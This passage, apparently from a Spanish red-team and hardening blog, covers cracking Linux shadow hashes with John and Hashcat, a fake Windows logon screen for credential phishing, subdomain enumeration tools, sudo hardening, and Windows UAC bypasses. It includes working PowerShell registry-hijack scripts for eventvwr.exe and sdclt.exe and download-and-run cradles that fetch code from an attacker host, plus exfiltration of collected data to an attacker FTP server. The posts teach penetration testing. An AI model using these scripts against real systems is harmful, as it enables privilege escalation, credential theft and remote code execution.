maria:$6$2t4URKFkY/8Maj.I$mo2yfY0iAMXE60qWxiuKwXMOhexJiPIHYPVL6A7iBNBqV7H5IRLySeTc6dqREkBSflbjuQJlZO2tXEFXYidkK/:18420:0:99999:7::: admin:$6$0tr5dcVdjueqvQna$LQu.ul4LmYbaNG8/lnx7LBwlW5RxFBEUqjE.sLRlYHeeGkKzz5TZHZ5foe.HEW2hrjNw0Q3sxTMRHFkYmp9uN0:18419:0:99999:7::: Debemos fusionarlos en un mismo fichero. Este fichero será el que le pasaremos a las herramientas de cracking para el descifrado de passwords. Para combinar el fichero /etc/passwd y /etc/shadow usamos el comando unshadow. unshadow passwd.txt shadow.txt \u0026gt; passwords Password cracking con John The Ripper Link to heading John The Ripper es una de las herramientas más populares usada para el cracking de contraseñas. Con el fichero único creado anteriormente. Sin indicar ningún diccionario previamente, con John podemos realizar un ataque por fuerza bruta por defecto. Dependiendo de la complejidad de la contraseña esto puede tardar unos minutos o muchas horas. john passwords Si no disponemos de un buen diccionario. John cuenta con el modo \u0026ndash;incremental se trata del modo más potente y también el más costoso en tiempo de procesamiento. Es aconsejable establecer a este modo un límite de longitud y comprobaciones de contraseñas (dígitos, mayúsculas, minúsculas, símbolos, etc.) para intentar que el proceso no tarde exageradamente tanto tiempo. Donde \u0026ldquo;passwords\u0026rdquo; sería el fichero creado con unshadow. john --incremental passwords Podemos consultar los logs de John para ver a tiempo real el proceso de cracking. tail -f /root/.john/john.log # Opción con tail less /root/.john/john.log (pulsar shift + f) # Opción con less John crea un directorio oculto ~/.john en el home de usuario donde es ejecutado. Aquí almacena varios ficheros. ~/.john/john.log: Almacena el proceso de cracking, podemos consultarlo en tiempo real. ~/.john/john.pot: Almacena los hashes y las passwords encontradas. Podemos ver su contenido ejecutando john --show \u0026lt;fichero_passwords_hashes\u0026gt;. ~/.john/john.rec: Guarda el estado del proceso de cracking en el caso de que sea interrumpido (\u0026lsquo;q\u0026rsquo; o \u0026lsquo;ctrl+c\u0026rsquo; pulsado una sola vez, si lo pulsamos dos veces el proceso se abortará por completo), de todos modos John realiza un autoguardado del proceso en este fichero cada 10 minutos. Para mostrar o visualizar las contraseñas encontradas. Donde \u0026ldquo;passwords\u0026rdquo; sería el fichero creado con unshadow. john --show passwords Para mostrar el estado del proceso. john --status Obtener una lista de los tipos de formatos de cifrado compatibles en el caso de especificar uno concreto dependiendo del tipo de hashes. john --list=formats john --format=sha512crypt Para realizar un ataque por diccionario y aplicar el estilo de reglas por defecto. john --wordlist=diccionario.lst --rules password En la siguiente captura se puede ver un proceso de cracking por defecto y de contraseñas débiles a través de John The Ripper. Figura 1: Password cracking en Linux con John The Ripper. Password cracking con Hashcat Link to heading Hashcat es otra herramienta archiconocida para el cracking a una amplia variedad de tipos de hashes de passwords. Código Hashcat del tipo de hash de cifrado comunes en sistemas Linux. DES (Unix) = 1500 MD5 = 0 MD5 (Unix $1$) = 500 Blowfish (Unix $2*$) = 3200 SHA1 = 100 SHA-256 = 1400 SHA-256 (Unix $5$) = 7400 SHA-512 = 1700 SHA-512 (Unix $6$) = 1800 (usado en la mayoría de distribuciones actualizadas a día de hoy) Ejemplo de uso en un ataque por diccionario con Hashcat. hashcat -m 1800 -a 0 passwords diccionario.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule -o cracked.txt --force -m (--hash-type): Tipo de hash de cifrado (https://hashcat.net/wiki/doku.php?id=example_hashes) -a (--attack-mode): Modo de ataque. 0 como el modo directo predeterminado (ataque por diccionario). passwords: Fichero que contiene los hashes generado con unshadow. diccionario.txt: Diccionario -wordlist-. -r (--rules-file): Reglas de combinación que aplicará a cada palabra del diccionario. Intenta encontrar contraseñas candidatas aplicando funciones para modificar, cortar o extender palabras y tiene operadores condicionales para omitir algunas, etc. (https://hashcat.net/wiki/doku.php?id=rule_based_attack). Reglas disponibles en el paquete de Hashcat https://github.com/hashcat/hashcat/tree/master/rules. -o (--outfile): Fichero de salida --force: Ignora las advertencias. Referencia: https://hashcat.net/wiki En la siguiente captura se muestra un ataque por diccionario, estableciendo el formato del tipo de hash de cifrado 1800 (sha-512 - unix $6$), añadir el fichero de reglas InsidePro-PasswordsPro.rule incluido en el paquete de Hashcat y guardar el resultado de las contraseñas encontradas en un fichero de salida llamado cracked.txt. Figura 2: Password cracking en Linux con Hashcat. Password hash cracking Online Link to heading Existen multitud de sitios web en Internet que contienen grandes bases de datos con todo tipo de hashes donde pueden comparar y obtener un match en base al hash introducido. Algunas webs usan servidores potentes para realizar consultas a tablas Rainbow consiguiendo resultados más rápidamente. https://crackstation.net/ https://gpuhash.me/ https://www.onlinehashcrack.com/ (de pago para una mayor rapidez, dispone de la posibilidad de usar rainbow tables muy efectivas). Figura 3: Descifrar hashes SHA512crypt (Unix) en sitios web online. Saludos! "},{"title":"FakeLogonScreen: phishing de credenciales locales o Active Directory con bloqueo de pantalla falso","url":"/posts/fakelogonscreen-phishing-credenciales-active-directory-bloqueo-pantalla/","summary":"FakeLogonScreen es una utilidad desarrollada por @bitsadmin que simula un bloqueo de pantalla de inicio de sesión de Windows 10 falso que se ejecute en el lado del usuario y tiene como finalidad …","tags":["Post-Explotación","Red Team","Pentesting","Phishing","Active Directory","Metasploit","MITRE ATT\u0026CK"],"date":"2020-06-11","content":"FakeLogonScreen es una utilidad desarrollada por @bitsadmin que simula un bloqueo de pantalla de inicio de sesión de Windows 10 falso que se ejecute en el lado del usuario y tiene como finalidad obtener su contraseña de acceso. La contraseña ingresada se valida con Active Directory o la máquina local para asegurarse de que sea correcta. El usuario y las contraseñas introducidas se envían a la consola (FakeLogonScreen.exe) o se almacenan en un archivo en disco (FakeLogonScreenToFile.exe). Si el usuario configura un fondo personalizado, muestra ese fondo en lugar del predeterminado. En una fase de post-explotación, donde disponemos de una sesión con una Shell remota, podemos copiar este binario a la máquina comprometida e invocarlo. En consola se mostrarán todas las contraseñas introducidas (en el caso de que la contraseña se escribiese mal) y nos marcará la contraseña con la que se hizo una correcta validación. Github: https://github.com/bitsadmin/fakelogonscreen Figura 1: (gif) FakeLogonScreen Windows. Saludos! "},{"title":"Riesgo del periodo de gracia de sudo en Linux: hardening contra cambio de contraseña root","url":"/posts/riesgo-periodo-gracia-sudo-wheel-cambiar-contrasena-root-hardening/","summary":"El uso del comando sudo permite a otros usuarios ejecutar acciones o programas con los privilegios de un usuario root. Es una buena práctica utilizar un usuario regular y en el momento de realizar …","tags":["Hardening","Blue Team","Escalada de privilegios","Permisos","ACLs"],"date":"2020-06-03","content":"El uso del comando sudo permite a otros usuarios ejecutar acciones o programas con los privilegios de un usuario root. Es una buena práctica utilizar un usuario regular y en el momento de realizar alguna acción que requiera de elevación anteponer el comando sudo. Nos pedirá las credenciales del usuario actual, si el usuario tiene capacidad de manejarse en un contexto de super-usuario, es decir pertenece al grupo sudo o está agregado en el fichero /etc/sudoers (o a través de visudo), de este modo el usuario podrá utilizar sudo y ejecutar las tareas necesarias como si de root se tratase. Sería algo similar al uso de UAC en Windows. Como ventaja nos facilita la vida en el uso y no tener que introducir siempre la contraseña si lo estamos usando de forma continua. Pero esto tiene un inconveniente o riesgo desde un punto de vista de seguridad y es que cuenta con el llamado \u0026ldquo;Periodo de gracia\u0026rdquo;. Sudo nos otorga durante un tiempo limitado (por defecto 5 minutos) los mismos privilegios de los que dispone el usuario \u0026ldquo;root\u0026rdquo;. Esto quiere decir que si volvemos a utilizar sudo durante ese corto periodo de tiempo no nos solicitará la contraseña. En el supuesto de que estemos trabajando en una oficina o donde haya más personal, nos levantamos de nuestro sitio y dejamos nuestro equipo a disposición física de cualquiera existe el riesgo de que alguien pueda realizar tareas de root con sudo si aún estamos dentro de ese periodo de gracia. Por lo que es una buena práctica de seguridad deshabilitar o eliminar este periodo de gracia del comando sudo. Deshabilitar o reducir el periodo de gracia de sudo Link to heading Podemos aplicar un hardening para evitar esto siendo más restrictivos. Editamos el fichero /etc/sudoers. Usa visudo, no editores directos Edita /etc/sudoers siempre con visudo. Este valida la sintaxis antes de guardar y bloquea el fichero contra ediciones concurrentes. Editar directamente con nano o vim puede dejar sudo inutilizable si introduces un error de sintaxis; recuperar exigiría single-user mode o consola root. sudo nano /etc/sudoers Para deshabilitarlo y que nunca solicite la contraseña en el uso de sudo. Agregamos la siguiente directiva al final del fichero. Defaults timestamp_timeout=0 Si no queremos deshabilitarlo del todo pero sí reducir su tiempo de gracia, establecemos en valor numérico el tiempo en minutos. Por ejemplo 1 minuto. Defaults timestamp_timeout=1 Salimos y guardamos el fichero /etc/sudoers y los cambios se aplicarán al momento. Figura 1: /etc/sudoers - Deshabilitar el periodo de gracia de sudo. Evitar que los usuarios del grupo sudo o wheel puedan cambiar la contraseña de root Link to heading Los usuarios del grupo sudo o wheel, en el caso de sistemas basados en Red Hat Enterprise Linux, CentOS o Fedora, obtienen privilegios de root temporalmente. Esta autorización incluye la posibilidad de realizar el cambio de la contraseña del usuario root. Para evitar esto, podemos escribir lo siguiente en el archivo sudoers. Sistemas basados en Debian %sudo ALL=(ALL) ALL, !/usr/bin/passwd root Sistemas basados en RHEL o CentOS. %wheel ALL=(ALL) ALL, !/usr/bin/passwd root Después de esta operación, el usuario no puede cambiar la contraseña de root incluso si el usuario pertenece a los grupos sudo o wheel. Saludos! "},{"title":"Herramientas para enumeración pasiva de subdominios (OSINT)","url":"/posts/herramientas-enumeracion-pasiva-subdominios-osint/","summary":"En un proceso de pentesting de auditoría de caja negra (black box) en un principio no tenemos ningún conocimiento de la infraestructura de servidores y comunicaciones de la organización que vamos a …","tags":["Pentesting","Red Team","OSINT","DNS","Fingerprint","Network Scan"],"date":"2020-05-21","content":"En un proceso de pentesting de auditoría de caja negra (black box) en un principio no tenemos ningún conocimiento de la infraestructura de servidores y comunicaciones de la organización que vamos a auditar. Nos encontramos en una fase de recopilación de información y escaneo de los activos de la compañía públicos en Internet. Lo habitual es usar footprinting con recursos web, técnicas de recopilación y análisis OSINT (Open Source Intelligence) intentando obtener la mayor cantidad de información posible y que nos pueda ser de utilidad para avanzar a una fase de enumeración de los sistemas \u0026ldquo;vivos\u0026rdquo;. Es importante conocer los subdominios públicos de un dominio principal para así realizar análisis de posibles vulnerabilidades en estos sistemas y encontrar un vector de ataque que nos permita cruzar la seguridad perimetral hacia la red interna de la organización, ejecución de código arbitrario, exfiltración de datos, etc. Probando multitud de herramientas para este fin, he decidido hacer una recopilación comentando aquellas que me parecieron más interesantes para obtener el descubrimiento y enumeración de los subdominios de un dominio principal. Podemos usar herramientas de recursos web, accesibles y rápidas o instalar herramientas en local que dependiendo de cuál nos mostrará un poco más de detalle, control y harán reconocimientos pasivos y/o activos si así lo definimos. Las consultas que se realizan a los dominios no es ilegal ya que se trata de información pública en Internet y accesible por todos, siempre y cuando solo busquemos y visualicemos los resultados sin llegar a interactuar maliciosamente y de manera directa. Reconocimiento pasivo: las peticiones no dejarán evidencias ni acciones en los logs ya que no se llegaría a interactuar con los objetivos escaneados. Por ejemplo realizar búsquedas usando Google Dorks. Reconocimiento activo: las peticiones o acciones que dejen un rastro registrado en los logs de los objetivos escaneados. Por ejemplo realizar peticiones con diccionarios wordlists de los posibles subdominios. Herramientas Online DNSDumpster Pentest-tools Netcraft IPv4info RapidDNS Google Hacking (Google Dorks) Herramientas Locales Subfinder Sudomy Amass Sublist3r Knockpy dnscan Findomain theHarvester Herramientas Online Link to heading DNSDumpster - https://dnsdumpster.com/ Aparte de los subdominios y sus IPs relacionadas nos devolverá un mapa geoip y los servidor DNS, registros MX y registros TXT. Figura 1: DNSDumpster. Pentest-tools-https://pentest-tools.com/information-gathering/find-subdomains-of-domain Nos mostrará todos los subdominios e IPs asociadas, el tipo de servidor, tecnología, tipo de página, a mayores con la versión Pro de pago podremos realizar acciones como escaneo de vulnerabilidades con OpenVAS, URL fuzzer entre otras opciones. Figura 2: Pentest-tools. Netcraft - http://searchdns.netcraft.com/ Listará subdominios y el tipo de sistema operativo en el que están alojados, también nos dará la posibilidad de consultar un report de cada subdominio con su IP asociada, geoip, versiones del sitio web y más información. Podemos realizar búsquedas que hagan match con el término de subdominio que estamos buscando. Figura 3: Netcraft. IPv4info - http://ipv4info.com/ Buscará simplemente los subdominios asociados a un dominio principal. Figura 4: IPv4info. RapidDNS - https://rapiddns.io/ Lista los subdominios y el tipo de registro DNS del que se trata. Figura 5: RapidDNS. Google Hacking (Google Dorks) Una manera interesante de poder encontrar subdominios es directamente realizando una búsqueda usando Google Dorks (operadores de búsqueda avanzada). Con el operador site: indicamos el dominio a buscar y con -site: omitimos los resultados que tengan relación con el subdominio www.. De esta forma se listarán todos los subdominios excepto los que hagan match con www. site:web.com -site:www.web.com Figura 6: Google Hacking - Dork para buscar subdominios. Herramientas Locales Link to heading Subfinder-https://github.com/projectdiscovery/subfinder Herramienta en Go. Lista subdominios con un reconocimiento pasivo y actualmente con 26 fuentes donde busca la información. Descarga: https://github.com/projectdiscovery/subfinder/releases tar -xzvf subfinder-linux-amd64.tar mv subfinder-linux-amd64 /usr/bin/subfinder subfinder -v -d web.com Dispone de una implementación en Docker: https://github.com/projectdiscovery/subfinder#running-in-a-docker-container Figura 7: Subfinder. Sudomy-https://github.com/Screetsec/Sudomy Utiliza la biblioteca cURL para obtener el HTTP Response Body de sitios de terceros para ejecutar la expresión regular y así obtener los subdominios, puede establecerse en un modo de reconocimiento pasivo o activo. Puede implementarse en Docker. Instalación y dependencias: https://github.com/Screetsec/Sudomy#installation Figura 8: Sudomy. Amass - https://github.com/OWASP/Amass Parte del proyecto OWASP, puede realizar diversas tareas usando recursos OSINT y un reconocimiento activo, entre ellas la búsqueda de subdominios por adivinación basada en similitud de FQDN, transferencias de zona, barrido inverso de DNS y fuerza bruta. Se puede instalar de manera independiente o usando Docker: https://github.com/OWASP/Amass/blob/master/doc/install.md apt install amass amass enum --passive -d web.com Figura 9: Amass. Sublist3r - https://github.com/aboul3la/Sublist3r Herramienta en python. Realiza diversas búsquedas en buscadores y sitios web para obtener la información. Instalación de pip (pip es el instalador del paquete para Python). curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py python get-pip.py Instalación: git clone https://github.com/aboul3la/Sublist3r.git cd sublist3r pip install -r requirements.txt python sublist3r.py -h python sublist3r.py -v -d web.com -o subdomweb.txt Figura 10: Sublist3r. Knockpy - https://github.com/guelfoweb/knock Herramienta en python. Nos mostrará IP, estado, tipo de registro, subdominio y tipo de servicio web. git clone https://github.com/guelfoweb/knock.git cd knock/knockpy python knockpy.py web.com Figura 11: Knockpy. dnscan - https://github.com/rbsec/dnscan Herramienta en python. Busca transferencias de zona, registros TXT, MX, registros DMARC y finalmente realiza un escaneo de registros tipo A mediante wordlists. git clone https://github.com/rbsec/dnscan.git cd dnscan python3 dnscan.py -d web.com Figura 12: dnscan. Findomain - https://github.com/Edu4rdSHL/findomain Dispone de planes de pago con diversas funcionalidades, entre ellas la búsqueda continua y activa de subdominios y la notificación de un nuevo dominio. En su versión free simplemente lista los subdominios actuales. wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux chmod +x findomain-linux ./findomain-linux -t web.com Figura 13: Findomain. theHarvester - https://github.com/laramies/theHarvester Herramienta en python. A través de diversos motores de búsqueda y sitios web dado un dominio intenta encontrar emails, perfiles en Linkedin, Twitter, Github, virtual hosts, etc. A mayores también muestra subdominios y su IP asociada. Está integrado en Kali Linux. Instalación independiente: https://github.com/laramies/theHarvester/wiki/Installation Figura 14: theHarvester. Saludos! "},{"title":"Bypass UAC: DLL injection en taskmgr.exe + fileless eventvwr.exe (PoC)","url":"/posts/bypass-uac-dll-injection-taskmgr-eventvwr-fileless-poc/","summary":"En un artículo anterior hablé de un bypass fileless en el binario sdclt.exe, también comenté la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un …","tags":["Red Team","Post-Explotación","Bypass UAC","Escalada de privilegios","DLL Injection","DLL Hijacking","Fileless","Metasploit","MITRE ATT\u0026CK"],"date":"2020-05-14","content":"En un artículo anterior hablé de un bypass fileless en el binario sdclt.exe, también comenté la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless. Bypass UAC tipo DLL Hijacking Link to heading Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalada de privilegios o persistencia en un sistema. Consiste en hacer un \u0026ldquo;secuestro\u0026rdquo; de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL. Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus. Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: DLL Hijacking: \u0026ldquo;Suplantación\u0026rdquo; -secuestro- de una carga DLL existente en el proceso de ejecución de un binario. DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario previamente en ejecución. Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless Link to heading En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente. Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\\SYSTEM. Resumen de pasos del proceso: Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo sí para eventvwr.exe. Desde la sesión Meterpreter cargamos los módulos Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden). Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe. Desde powershell_import importamos un script \u0026ldquo;eventvwr-reg.ps1\u0026rdquo; que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos. Script eventvwr-reg.ps1 $path = \u0026#34;HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\u0026#34; $execute = \u0026#34;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c `\u0026#34;IEX (New-Object Net.WebClient).DownloadString(\u0026#39;http://10.0.0.1/codes/invoke-dllinjection.txt\u0026#39;)`\u0026#34;\u0026#34; New-Item -Path $path -Force New-ItemProperty -Path $path -Name \u0026#39;(Default)\u0026#39; -PropertyType String -Value $execute -Force | Out-Null 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter. 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta. 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM. Vídeo demo - PoC Link to heading En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso. Vídeo: https://youtu.be/3H5WORk88vQ Saludos! "},{"title":"Fingerprinting con PowerShell + exfiltración a FTP (Vídeo PoC)","url":"/posts/fingerprinting-powershell-exfiltracion-ftp-poc/","summary":"En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo …","tags":["Post-Explotación","Red Team","Pentesting","Fingerprint","Data Exfiltration","PowerShell","FTP","MITRE ATT\u0026CK"],"date":"2020-05-08","content":"En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación. El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc. En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante. Referencia del script Powershell en mi repositorio de Github: https://raw.githubusercontent.com/adrianlois/Fingerprinting-envio-FTP-PowerShell/master/SysInfo.ps1 Bypass ExecutionPolicy en Powershell usando funciones Link to heading Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y cómo se cargan en memoria en el provider de funciones. Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. El script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest. # Powershell v1.0/v2.0 IEX (New-Object Net.WebClient).DownloadString(\u0026#39;http://web/script.txt\u0026#39;) # Powershell v3.0 y superiores IEX (Invoke-WebRequest -Uri \u0026#39;http://web/script.txt\u0026#39; -UseBasicParsing) Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cuál esté establecida en la máquina remota. En el siguiente vídeo se observa cómo la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria. Vídeo demo - PoC Link to heading He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo \u0026ldquo;Restricted\u0026rdquo;. Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha en la máquina Kali. Vídeo: https://youtu.be/JY33NkpAaeI Saludos! "},{"title":"Bypass UAC Fileless usando AppPaths sdclt.exe","url":"/posts/bypass-uac-fileless-usando-apppaths-sdcltexe/","summary":"La idea de los bypass de UAC (User Account Control) tipo fileless es detectar binarios de Windows firmados por Microsoft y que tienen el atributo autoElevate a true de su manifest. Con una política …","tags":["Red Team","Post-Explotación","Bypass UAC","Escalada de privilegios","Fileless","PsTools","MITRE ATT\u0026CK"],"date":"2020-04-30","content":"La idea de los bypass de UAC (User Account Control) tipo fileless es detectar binarios de Windows firmados por Microsoft y que tienen el atributo autoElevate a true de su manifest. Con una política por defecto de UAC en Windows, estos binarios se ejecutan en un contexto de integridad alto, interactuando con el registro no encuentran las claves en la rama HKCU. Cuando en la consulta se obtiene un resultado NAME NOT FOUND y esta se hace antes de que se ejecute el propio binario, se podría escribir en esa rama HKCU en la que si tendremos permisos haciendo referencia a la invocación de otro binario como por ejemplo un cmd.exe. Esto provocará que este cmd.exe se ejecute antes y de forma privilegiada logrando así el bypass del UAC. Para comprobar el manifest de un binario podemos usar la herramienta de sigcheck de Sysinternals con su parámetro -m seguido del binario que se le indique. Figura 1: Comprobar atributo autoElevate en el manifest de un binario con sigcheck. Existen multitud de binarios con el atributo autoElevate a true y que usan consultas en el registro para poder ejecutarse. La primera técnica fue descubierta Enigma0x3 con el binario eventvwr.exe (visor de eventos de Windows) publicada en 2016. El mismo autor en 2017 publicó dos bypass fileless nuevos que afectan a los binarios sdclt.exe (panel de control de copias de seguridad y restauración) y fodhelper.exe (instalación de características avanzadas). Como ejemplo este artículo se enfoca al bypass UAC fileless que afecta al binario sdclt.exe. Enigma0x3 ha subido a su repositorio un script en Powershell para aprovechar la explotación de esta vulnerabilidad. Con procmon de Sysinternals podemos monitorear la ejecución de procesos en el sistema. Esto nos permite analizar el seguimiento de ejecución de un binario que filtremos y enfocarnos en un tipo de operación que realiza en el registro. En el caso de sdclt.exe vemos que realiza consultas en la existencia de claves del registro en la rama HKCU intentando encontrar un binario control.exe en el path: HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe Como no lo encuentra se obtiene un valor NAME NOT FOUND y continúa su ejecución comprobando en más ramas hasta invocar al control.exe que como parámetro abrirá al sdclt.exe. Esto significa que si creamos esa rama y en su valor \u0026lsquo;Default\u0026rsquo; agregamos la ejecución de una cmd.exe podremos invocarla de forma privilegiada ya que como se ve en procmon esta consulta al registro se realiza en un contexto de integridad alto. Figura 2: Rama del registro NAME NOT FOUND en la ejecución del binario sdclt.exe. Sabiendo esto podemos crear la estructura de ramas adecuada e invocar en el valor por defecto una cmd.exe. Esta se ejecutará en el mismo contexto, es decir, de forma privilegiada. Dejo un pequeño script que ejecuta una función para poder crear la estructura de ramas de forma automática. Pasando como parámetro -Payload la ruta absoluta C:\\Windows\\System32\\cmd.exe. function AppPathSdcltBypass { Param ( [Parameter(Mandatory)] $Payload ) $path = \u0026#34;HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe\u0026#34; if (-not (Test-Path $path)) { New-Item -Path $path -Force New-ItemProperty -Path $path -Name \u0026#39;(Default)\u0026#39; -PropertyType String -Value $Payload -Force | Out-Null } else { Write-Host \u0026#34;La ruta ya existe\u0026#34; break } Start-Process \u0026#34;C:\\Windows\\system32\\sdclt.exe\u0026#34; } AppPathSdcltBypass -Payload \u0026#34;C:\\Windows\\System32\\cmd.exe\u0026#34; Cuando se inicie la cmd podemos comprobar con whoami /groups que efectivamente se ejecuta de forma privilegiada. Figura 3: Comprobar el contexto de integridad cmd.exe (whoami /groups). Un detalle a tener en cuenta, a diferencia de otros bypass de UAC como eventvwr.exe, este fileless no permite la entrada de parámetros tipo cmd.exe /c \u0026lt;intrucciones\u0026gt;, limitando y dificultando su aprovechamiento para una ejecución de órdenes de forma remota. En la siguiente captura se puede ver la prueba de concepto de la ejecución y como se realiza este bypass de UAC fileless de sdclt.exe. Por defecto y aunque el usuario pertenezca al grupo administradores si no ejecutó como administrador una cmd (botón derecho \u0026ldquo;ejecutar como administrador\u0026rdquo;) no podría escribir en C:. Figura 4: PoC - Bypass UAC Fileless sdclt.exe. Saludos! "},{"title":"Política de contraseñas en Linux: login.defs y pam_pwquality","url":"/posts/politica-contrasenas-linux-login-defs-pam-pwquality/","summary":"Antes de entrar en materia y comentar donde se definen las directivas de contraseñas en entornos Linux, es necesario conocer los campos que estructuran al fichero donde almacenan cifradas las …","tags":["Hardening","Blue Team","Hashes"],"date":"2020-04-19","content":"Antes de entrar en materia y comentar donde se definen las directivas de contraseñas en entornos Linux, es necesario conocer los campos que estructuran al fichero donde almacenan cifradas las contraseñas de usuarios locales /etc/shadow. Este fichero nos muestra el estado actual de cómo se están aplicando estas directivas a los usuarios y que nos resulta útil en procesos de auditoría interna para conocer esta información. Estructura del fichero /etc/shadow Link to heading Figura 1: Estructura del fichero /etc/shadow. 1. Nombre de usuario. 2. Contraseña cifrada. Se establece con la estructura $id$salt$hashed. El tipo de algoritmo utilizado se define en el inicio en números entre los símbolos $. ID Algoritmo $1$ MD5 $2a$ Blowfish $2y$ Blowfish $5$ SHA-256 $6$ SHA-512 3. Último cambio de contraseña desde el 1/Enero/1970 (epoch). 4. Cantidad de días restantes para que el usuario cambie su contraseña. -1 significa que nunca expira. 5. Número máximo de días que la contraseña es válida después del cambio de contraseña por parte del usuario. 6. Días antes de que caduque la contraseña, advierte al usuario para que la cambie. 7. Días después de que caduque la contraseña, esa cuenta estará deshabilitada. 8. Días desde el 1/Enero/1970. Fecha absoluta que especifica cuándo ya no se pueda usar el inicio de sesión para esa cuenta. Comando chage (caducidad en las contraseñas) Link to heading Con el comando chage (change age) podemos establecer la caducidad de contraseñas y cuentas de usuario. Esto no afecta a los nuevos usuarios, se establece de forma nominal a usuarios existentes. Para aplicar estas opciones a nuevos usuarios y así generar estas directivas por defecto habría que hacer uso de login.defs que se comenta más adelante en este artículo. Opciones del comando chage: Opción corta Opción larga Descripción -d --lastday Establece el día del último cambio de la contraseña -E --expiredate Establece la fecha de caducidad -I --inactive Deshabilita 